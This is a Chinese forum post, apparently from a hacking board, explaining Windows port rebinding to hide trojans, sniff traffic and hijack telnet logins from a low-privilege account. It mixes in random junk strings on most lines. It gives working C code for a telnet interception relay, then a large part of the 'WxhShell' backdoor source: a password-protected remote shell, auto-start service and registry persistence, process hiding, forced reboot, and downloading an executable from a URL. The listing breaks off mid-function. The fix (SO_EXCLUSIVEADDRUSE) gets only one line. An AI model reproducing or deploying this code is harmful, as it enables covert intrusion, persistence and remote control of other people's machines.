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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0Y=![tO8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '&O/g<Z}q  
jo +w>  
  saddr.sin_family = AF_INET; @\_x'!R  
%b.UPS@I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TOF '2&H  
B DY}*cX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hlZ@Dq%f  
}G46g#_6d>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W) j|rz.  
[mxTa\  
  这意味着什么?意味着可以进行如下的攻击: UnDgu4#R`A  
3 vP(S IF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r9 y.i(j  
Vpfp}pL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PHg48Y"Nd  
I7QCYB|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tHD  
O[17";P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3b'tx!tFN  
nm$Dd~mxW1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >>[/UFC)n  
$h9='0Wi0'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sGDV]~E  
ub0zJTFJ#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *x~xWg9^  
Y/TlE?  
  #include Hs"(@eDV&J  
  #include MJ<Jb,D1  
  #include 7x]4`#u  
  #include    V=I"-k}RL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X C86-b)E  
  int main() IJOvnZ("A  
  { `"yxdlXA  
  WORD wVersionRequested; ?q`0ZuAg\<  
  DWORD ret; `i ,_aFB|  
  WSADATA wsaData; =+5,B\~q@C  
  BOOL val; U8#xgz@  
  SOCKADDR_IN saddr; A % Q!^d  
  SOCKADDR_IN scaddr; p]D]: Z}P  
  int err; 2 gq$C"  
  SOCKET s; v1U?&C  
  SOCKET sc; 148V2H)  
  int caddsize; JuRH>`  
  HANDLE mt; QR?yG+VU  
  DWORD tid;   RhI;;Y#@  
  wVersionRequested = MAKEWORD( 2, 2 ); MmPU7Nl%X  
  err = WSAStartup( wVersionRequested, &wsaData ); I-D^>\k+  
  if ( err != 0 ) { t22;87&|  
  printf("error!WSAStartup failed!\n"); Uk*IpP`  
  return -1; 3FSqd<t;D  
  } m .IU ;cR  
  saddr.sin_family = AF_INET; cHA7Kg !  
   R;whW:Tx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eO=s-]mk  
g]@ (E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mM.*b@d-  
  saddr.sin_port = htons(23); DF]9@{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A$0H .F>  
  { 2Q7R6*<N:  
  printf("error!socket failed!\n"); hD,:w%M  
  return -1; MiT}L  
  } iF5'ygR-Z  
  val = TRUE; :,;K>l^U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p?[Tm*r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) . JX EK  
  { %)jxW{  
  printf("error!setsockopt failed!\n"); TlL^7f}  
  return -1; x_=n-lAF  
  } ,)+ o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gXT9 r' k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4!Z5og1kn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DBLk!~IF  
RpG+>"1]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v$~QCtc  
  { exh/CK4;  
  ret=GetLastError(); y4Z &@,_{  
  printf("error!bind failed!\n"); wHZW `  
  return -1; dG QG!l+>  
  } -50 HB`t  
  listen(s,2); k 4/D8(OXw  
  while(1) -m'j]1  
  { k$ 5 s{q  
  caddsize = sizeof(scaddr); m^'uipa\  
  //接受连接请求 {^CT} \=>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y^Nuz/  
  if(sc!=INVALID_SOCKET) Rtb :nJ8  
  { ]A FI\$qB\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #ywk|k5z]  
  if(mt==NULL) )m6M9eC  
  { V^y^ ;0I}[  
  printf("Thread Creat Failed!\n"); -yxOBq  
  break; j.a`N2]WE  
  } R(.}C)q3  
  } W{z.?$ SH  
  CloseHandle(mt); |r ue=QZ  
  } gh`m*@  
  closesocket(s); r|4t aV&  
  WSACleanup(); b[z]CP  
  return 0; =_j vk.  
  }   JvYPC  
  DWORD WINAPI ClientThread(LPVOID lpParam) %0#1t 5g  
  { V)Z70J <'  
  SOCKET ss = (SOCKET)lpParam; fQrhsuCrC  
  SOCKET sc; %B.D^]S1:  
  unsigned char buf[4096]; FZreP.2)!  
  SOCKADDR_IN saddr; ld$i+6|   
  long num; 1+b{}d  
  DWORD val; k6`6Mjbc  
  DWORD ret; .xf<=ep  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y@'8[]=0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q1V9PRZX  
  saddr.sin_family = AF_INET; w\) |  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +C7 ~b~ %  
  saddr.sin_port = htons(23); !4]9!<.k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NvM*h%ChM  
  { </uO e.l>Q  
  printf("error!socket failed!\n"); :Hxv6  
  return -1; iy""(c  
  } 5s(1[(  
  val = 100; ~>9_(L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j }b\Z9)!  
  { O25lLNmO  
  ret = GetLastError(); Uye|9/w8 !  
  return -1; ;Eu3[[V  
  } y qtKy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dk48@`l2  
  { :qC '$dO!  
  ret = GetLastError(); ){jl a,[  
  return -1; x@8a''  
  } NnVnUgx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fNGZo  
  { E 7-@&=]v  
  printf("error!socket connect failed!\n"); YBh'EL}P  
  closesocket(sc); G:g69=x y  
  closesocket(ss); $XoQ]}"O  
  return -1; ^*fQX1h<  
  } F5S@I;   
  while(1) 36US5ef  
  { :1Sl"?xU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \W1/p`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e}1uz3Rh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ws4cF N9P?  
  num = recv(ss,buf,4096,0); BT}&Y6  
  if(num>0) -W>'^1cR  
  send(sc,buf,num,0); -_$$Te  
  else if(num==0) >M&3Y XC  
  break; bV/jfV"%E  
  num = recv(sc,buf,4096,0); rj!0GI  
  if(num>0) 6Aocm R0D'  
  send(ss,buf,num,0); Y))NK'B5  
  else if(num==0) s.8{5jVG  
  break; w6j/ Dq!  
  } &c1A*Pl/:G  
  closesocket(ss); ->N8#XH2=  
  closesocket(sc); y!xE<S&Y  
  return 0 ; 0Fu~%~#E$  
  } 5ZBKRu  
'(/7[tJ  
u]OW8rc  
========================================================== 3do)Vg4  
1)Zf3Y8  
下边附上一个代码,,WXhSHELL Kv~U6_=1O  
zP<pEI  
========================================================== J`2"KzR0w"  
^Ox3XC  
#include "stdafx.h" ~y7jCcd`  
7F'`CleU  
#include <stdio.h> Vx-7\NB  
#include <string.h> Dl}$pN  
#include <windows.h> {AQ=<RDRF  
#include <winsock2.h> jVq(?Gc  
#include <winsvc.h> %Rsp;1Z  
#include <urlmon.h> #Skv(IL  
P~ &$l2  
#pragma comment (lib, "Ws2_32.lib") bcupo:N  
#pragma comment (lib, "urlmon.lib") yDGVrc'  
fDP$ sW  
#define MAX_USER   100 // 最大客户端连接数 x,'!eCKN  
#define BUF_SOCK   200 // sock buffer b6*!ACY  
#define KEY_BUFF   255 // 输入 buffer ccL~#c0P7  
>]c*'~G&  
#define REBOOT     0   // 重启 [ Fz`D/  
#define SHUTDOWN   1   // 关机 I"`M@ %  
AQ ='|%  
#define DEF_PORT   5000 // 监听端口 dh $bfAb  
|n] d34E  
#define REG_LEN     16   // 注册表键长度 y8DhOlewQ  
#define SVC_LEN     80   // NT服务名长度 > %KuNy{  
FKmFo^^0  
// 从dll定义API CoA6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iya"ky~H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m1*O0Tg]"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *Aa?yg:=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |p-t%xDdr  
95V@X ^Ee  
// wxhshell配置信息 6VhjJJ  
struct WSCFG { _(KbiEB{  
  int ws_port;         // 监听端口 nb>7UN.9  
  char ws_passstr[REG_LEN]; // 口令 /Js7`r=Rx  
  int ws_autoins;       // 安装标记, 1=yes 0=no } GiHjzsR  
  char ws_regname[REG_LEN]; // 注册表键名 Ft!],n-n*  
  char ws_svcname[REG_LEN]; // 服务名 mbueP.q[?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s@7H1)U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G2FXrkU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B9J&=6`)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LA)[ip4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T'b_W,m~,u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mN19WQ(r  
n9xAPB }  
}; piZJJYv t  
10U9ZC  
// default Wxhshell configuration 2TA*m{\Hr  
struct WSCFG wscfg={DEF_PORT, L{`JRu  
    "xuhuanlingzhe", Ho *AAg  
    1, icgSe:Ci  
    "Wxhshell", qZA).12qS  
    "Wxhshell", L:'J Bhg  
            "WxhShell Service", :]1 TGfS  
    "Wrsky Windows CmdShell Service", v@d  
    "Please Input Your Password: ", -Zz$~$  
  1, lgtC|k M=  
  "http://www.wrsky.com/wxhshell.exe", I'0@viF"Nx  
  "Wxhshell.exe" Ht4;5?/y  
    }; @$+ecaVW  
&HY+n) o  
// 消息定义模块 smDw<slC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fw RZ5`v<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X.e7A/ClEo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oTuOw|[  
char *msg_ws_ext="\n\rExit."; JC3m.)/  
char *msg_ws_end="\n\rQuit."; G-.^O,%  
char *msg_ws_boot="\n\rReboot..."; k'5?M  
char *msg_ws_poff="\n\rShutdown..."; ~Wa6J4B{K  
char *msg_ws_down="\n\rSave to "; ;IokThI  
% V ;?  
char *msg_ws_err="\n\rErr!"; 5x>}O3Q_  
char *msg_ws_ok="\n\rOK!"; IDG}ZlG  
" _ka<R..  
char ExeFile[MAX_PATH]; YS%h^>I^  
int nUser = 0; K]0JC/R6(@  
HANDLE handles[MAX_USER]; "UJ S5[7$  
int OsIsNt; ixT:)|'i  
9*1,!%]  
SERVICE_STATUS       serviceStatus; g #6E|n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z21|Dhiw&  
fL=~NC"  
// 函数声明 q CnZhJ  
int Install(void); UaB @  
int Uninstall(void); >\Ww;1yV  
int DownloadFile(char *sURL, SOCKET wsh); -#HA"7XOE  
int Boot(int flag); [+DW >Et  
void HideProc(void); nPy$D-L,  
int GetOsVer(void); } =]M2}  
int Wxhshell(SOCKET wsl); #I bp(  
void TalkWithClient(void *cs); E }nH1  
int CmdShell(SOCKET sock); ^kB8F"X  
int StartFromService(void); bq:(u4 3  
int StartWxhshell(LPSTR lpCmdLine); FK5 <6n,U  
_zwG\I|Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <t \H^H!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u;/ Vyu  
DuHu\>f<S  
// 数据结构和表定义 D,k"PaLP  
SERVICE_TABLE_ENTRY DispatchTable[] = hj.a&%  
{ Z Z:}AQ  
{wscfg.ws_svcname, NTServiceMain}, @dPTk"P  
{NULL, NULL} lUvpszH=  
}; Qh'ATo  
m~-K[+ya`D  
// 自我安装 &b fA.& `  
int Install(void) 5jgR4a*_v  
{ esMX-.8Cx  
  char svExeFile[MAX_PATH]; 7B\Vs-d  
  HKEY key; `u teg=  
  strcpy(svExeFile,ExeFile); yooX$  
V^Q#:@0  
// 如果是win9x系统,修改注册表设为自启动 io-![^{  
if(!OsIsNt) { [VsKa\9u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t? yz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^!<BQP7  
  RegCloseKey(key); m0;CH/D0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6&!PmKFO.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |w<H!lGe!$  
  RegCloseKey(key); U$WxHYo  
  return 0; sE Q=dcK  
    } uYs5f.! `  
  } YH\OFg@7  
} K k-S}.E  
else { %R}.#,Suo  
]);%wy{Ho  
// 如果是NT以上系统,安装为系统服务 q#,f 4P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lE&&_INHQ  
if (schSCManager!=0) 0c<.iM  
{ ~nh:s|l6%M  
  SC_HANDLE schService = CreateService \%f q  
  ( C(#u[8  
  schSCManager, 0"\H^  
  wscfg.ws_svcname, !`,Sfqij  
  wscfg.ws_svcdisp, "NXB$a!:  
  SERVICE_ALL_ACCESS, jU9$Ehg I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [f1 (`<  
  SERVICE_AUTO_START, ,}EC F>  
  SERVICE_ERROR_NORMAL, C1m]*}U  
  svExeFile, Z\ja  
  NULL, @,cowar*  
  NULL, V@ cM|(  
  NULL, kT"Kyd  
  NULL, KLitg6&P  
  NULL GzI yP(U  
  ); x7jC)M<k0  
  if (schService!=0)  @Z\,q's  
  { w35J.zn  
  CloseServiceHandle(schService); LYz.Ci}  
  CloseServiceHandle(schSCManager); 2[ RoxKm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bzuEfFaL  
  strcat(svExeFile,wscfg.ws_svcname); d%RC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q@<S[Qh[.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |:xYE{*)H  
  RegCloseKey(key); M^r1S  
  return 0; <`B,R*H{  
    } x7:s]<kE  
  } Y2ZT.l  
  CloseServiceHandle(schSCManager); %)|9E>fP]N  
} r? NznNVU  
} Sa?ksD2IaB  
GqaDL3Niqs  
return 1; v9w'!C)b  
} q Gw -tPD<  
4cabP}gBk  
// 自我卸载 Q<^Tl(`/N?  
int Uninstall(void) oX S1QT`B  
{ vY  }A  
  HKEY key; OWjk=u2Lz  
Xm%D><CC8"  
if(!OsIsNt) { 9`I _Et  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OjJXysslXO  
  RegDeleteValue(key,wscfg.ws_regname); -@yh> 8v  
  RegCloseKey(key); 7\$qFF-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z&1T  
  RegDeleteValue(key,wscfg.ws_regname); P9^-6;'Y  
  RegCloseKey(key); 0- HqPdjR  
  return 0; s%C)t6`9  
  } ryW'Z{+r'  
} 8/i!' 0r\  
} "?ucO4d  
else { ewa wL"  
8+a4>8[M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M)'HCnvs'  
if (schSCManager!=0) 0B@SN)<kH  
{ kzn5M&f>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +BVym~*^  
  if (schService!=0) +$C 4\$t  
  { k7?N ?7w  
  if(DeleteService(schService)!=0) { [ oL.+  
  CloseServiceHandle(schService); @ezH'y-v  
  CloseServiceHandle(schSCManager); M m[4yP%  
  return 0; 4L ;% h  
  } R:e<W/P"  
  CloseServiceHandle(schService); p7veQ`yNc  
  } z.$4!$q  
  CloseServiceHandle(schSCManager); ORyE`h  
} P3cRl']  
} S{PJUAu  
Mn9dqq~a  
return 1; TD1 [  
} ]ndvt[4L  
?no fUD.  
// 从指定url下载文件 %+8F'&X  
int DownloadFile(char *sURL, SOCKET wsh) Ge-CY  
{ l>Z5 uSG  
  HRESULT hr; ),UX4%K=  
char seps[]= "/"; As3.Q(#Z  
char *token; u.mJQDTH  
char *file; qUjmB sB  
char myURL[MAX_PATH]; zm]aU`j  
char myFILE[MAX_PATH]; i`Q KH  
uJFdbBDSh  
strcpy(myURL,sURL); w.H%R-Be  
  token=strtok(myURL,seps); _d"b;4l  
  while(token!=NULL) N}pw74=1  
  { !n* +(lZ  
    file=token; ln?v j)j  
  token=strtok(NULL,seps); $^OvhnL/  
  } xl6,s>ob  
b4E:Wn9x  
GetCurrentDirectory(MAX_PATH,myFILE); O\E/. B  
strcat(myFILE, "\\"); AG!w4Ky`  
strcat(myFILE, file); :uWw8`  
  send(wsh,myFILE,strlen(myFILE),0); 85n1eE  
send(wsh,"...",3,0); @\|_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b~'"^ Bts*  
  if(hr==S_OK)  @2Z#x  
return 0; zaah^.MA|  
else ~-EOjX(X'E  
return 1; ebT:/wu,2  
in~D  
} k p<OJy  
( M7pT  
// 系统电源模块 H *[_cqnv  
int Boot(int flag) POvP]G9'"  
{ 2^^`n1?'  
  HANDLE hToken; k Mu8"Az  
  TOKEN_PRIVILEGES tkp; JBJhG<J  
ft$RSb#  
  if(OsIsNt) { VY~yg*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @xbQYe%J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i%/Jp[e\W>  
    tkp.PrivilegeCount = 1; #=6E\&NC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .v$D13L(o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '7+4`E  
if(flag==REBOOT) { ~xD ={9BL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f7=((5N  
  return 0; /Y'Vh^9/T  
} @&1ZB6OCb:  
else { }HY-uQ%@g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JKGc3j,+#  
  return 0; qMLD)rL  
} gREzZ+([  
  } 7 T1=q{#M  
  else { KTP8?Q"n0  
if(flag==REBOOT) { dYL"h.x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pov)Z):}G<  
  return 0; *g6n  
} nPye,"A Ol  
else { ;`^WGS(3.%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QKr,g  
  return 0; sOU1n  
} 4|CtRF<L  
} w]]8dz  
dHv68*^\'  
return 1; i[?Vin  
} BFo5\l:q8  
tE)suU5Y  
// win9x进程隐藏模块 Pmh8sw  
void HideProc(void) `QyO`y=?[Y  
{ hRK/T7v  
A1.7 O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UE$UR#T'w  
  if ( hKernel != NULL ) ~])t 6i  
  { YgUvOyaQXf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R,pX:H&#+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); px}|Mu7z~  
    FreeLibrary(hKernel); WJ4li@T7V  
  } [%77bv85.G  
cd$m25CxC  
return; "4uS3h2r  
} 0@H|n^Md#  
tE]= cTSV  
// 获取操作系统版本  :}@g6   
int GetOsVer(void) 1T-8K r  
{ \}p6v}  
  OSVERSIONINFO winfo; /.Ww6a~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;|vpwB@B  
  GetVersionEx(&winfo); uF1~FKB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "a8j"lPJ  
  return 1; a hR ^  
  else rL+!tH  
  return 0; Z|5?7v;h5  
} S$Q8>u6Wk  
l zYnw)Pv  
// 客户端句柄模块 9hOJvQ2U]  
int Wxhshell(SOCKET wsl) BV>\ McI+  
{ YwZ Z{+n  
  SOCKET wsh; ^OstR`U3  
  struct sockaddr_in client; h $L/<3oP6  
  DWORD myID; bpKZ3}U  
rld67'KcE  
  while(nUser<MAX_USER) X_$Cb<e  
{ 0Sgaem`  
  int nSize=sizeof(client); j}~86JO+Cw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QrYpZZ;  
  if(wsh==INVALID_SOCKET) return 1; ~ ; -! n;  
Bc6|n :;u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t5#rps\;  
if(handles[nUser]==0) q^r#F#*1l  
  closesocket(wsh); Yx eOI#L  
else ub;ZtsM,%  
  nUser++; 21< j\ M  
  } l&?}hq^'Dn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6bBB/yd  
*g[^.Sg  
  return 0; Ee3hG2d`  
} V\^EfQ  
`.x Fiyc  
// 关闭 socket !-,t'GF(  
void CloseIt(SOCKET wsh) -eN\ !  
{ OujCb^Rm  
closesocket(wsh); Up,vD)tG  
nUser--; Pri`K/  
ExitThread(0); #3_*]8K.R  
} IiZ&Pr  
DBT&DS  
// 客户端请求句柄 DXa-rk8  
void TalkWithClient(void *cs) .]sf0S!  
{ t$A%*JBKm  
Ygl%eP%Z  
  SOCKET wsh=(SOCKET)cs; T+<A`k: -  
  char pwd[SVC_LEN]; &d5ia+ #  
  char cmd[KEY_BUFF]; ^1L>l9F  
char chr[1]; ##EYH1P]  
int i,j; "sl1vzRN  
w );6K[+;  
  while (nUser < MAX_USER) { k}0^&Quc4  
*0>mB  
if(wscfg.ws_passstr) { e`v`XSA[p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WN_pd%m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I= .z+#Y  
  //ZeroMemory(pwd,KEY_BUFF); ZG du|  
      i=0; ,i,q!M{-  
  while(i<SVC_LEN) { cPU/t kc  
YI.w-K\  
  // 设置超时 E4W zU  
  fd_set FdRead; |R#"Th6mH!  
  struct timeval TimeOut; <1.A=_ M  
  FD_ZERO(&FdRead); KhW;RD  
  FD_SET(wsh,&FdRead); /M*a,o  
  TimeOut.tv_sec=8; ]Wq?H-B{  
  TimeOut.tv_usec=0; S:x?6IDPC^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Eyh51IB.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jvV9eA:zl  
Zt&6Ua[Y}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P7x =  
  pwd=chr[0]; eU N"w,@y  
  if(chr[0]==0xd || chr[0]==0xa) { o)[2@fRC(  
  pwd=0; XFh>U7z.  
  break; fz3 lV  
  } "luR9l,RRE  
  i++; \#>T~.Y7K  
    } viAMr"z  
)5.C]4jol  
  // 如果是非法用户,关闭 socket ZZ.m(A TR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N?m0US u*  
} jh.@-  
60)iw4<wf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Izv+i*(dl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h#hxOVl%x  
2AVa(  
while(1) { &V<W>Y>|l*  
vc]cNz:mQ  
  ZeroMemory(cmd,KEY_BUFF); \AC|?/sH  
8l"O(B'#Z  
      // 自动支持客户端 telnet标准   4 8{vE3JY  
  j=0; s-7RW  
  while(j<KEY_BUFF) { MCP "GZK6W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n?:=  
  cmd[j]=chr[0]; PDLpNTBf  
  if(chr[0]==0xa || chr[0]==0xd) { 7 uarh!  
  cmd[j]=0; xwH?0/  
  break; F>X-w+b4r  
  } N7s'6(`=X  
  j++; 7HHysNB"w  
    } w?,M}=vg  
(?*BB3b`  
  // 下载文件 '/I:^9  
  if(strstr(cmd,"http://")) { \M"UmSB o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7 ua6l[c  
  if(DownloadFile(cmd,wsh)) oiH|uIsqR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jkF8\dR  
  else 1[*{(e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P &)1Rka  
  } oQ7]= |  
  else { k5&bq2)I  
G3G6IP  
    switch(cmd[0]) { 5`<eKwls  
  XIWm>IQ[)  
  // 帮助 s6 }X t=j  
  case '?': { IAOcKQ3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #2:a[ ~Lf  
    break; do-c1;M  
  } dxj*Q "K  
  // 安装 ?'r9"M>  
  case 'i': { M/*NM= -a  
    if(Install()) to6;?uC+|i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dS`Bk6 Y  
    else /i)Hb`(S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -K[782Q  
    break; !?[oIQ)h  
    } fB+b}aoV  
  // 卸载 *wV[TKaN  
  case 'r': { 0 3~Ikll  
    if(Uninstall()) 5v^L9!`@%v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = c~I .  
    else &&L"&Rc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nVD Xj  
    break; @1R8 -aa-r  
    } jLcHY-P0V  
  // 显示 wxhshell 所在路径 QT#6'>&7-b  
  case 'p': { \Z/k;=Sla  
    char svExeFile[MAX_PATH]; 89cVJ4]g~!  
    strcpy(svExeFile,"\n\r"); 1'G8o=~  
      strcat(svExeFile,ExeFile); k:#6^!b1  
        send(wsh,svExeFile,strlen(svExeFile),0); #\bP7a +  
    break; 8G ]w,eF  
    } Xev54!619  
  // 重启 Y~n` ~(  
  case 'b': { uG>nV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Poa?Ej  
    if(Boot(REBOOT)) w5]l1}rl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s>z2  k  
    else { KIL18$3J  
    closesocket(wsh); zzvlI66e  
    ExitThread(0); zL s^,x  
    } ~_!ts{[E  
    break; 7SI)1_%G  
    } "uu)2Xe  
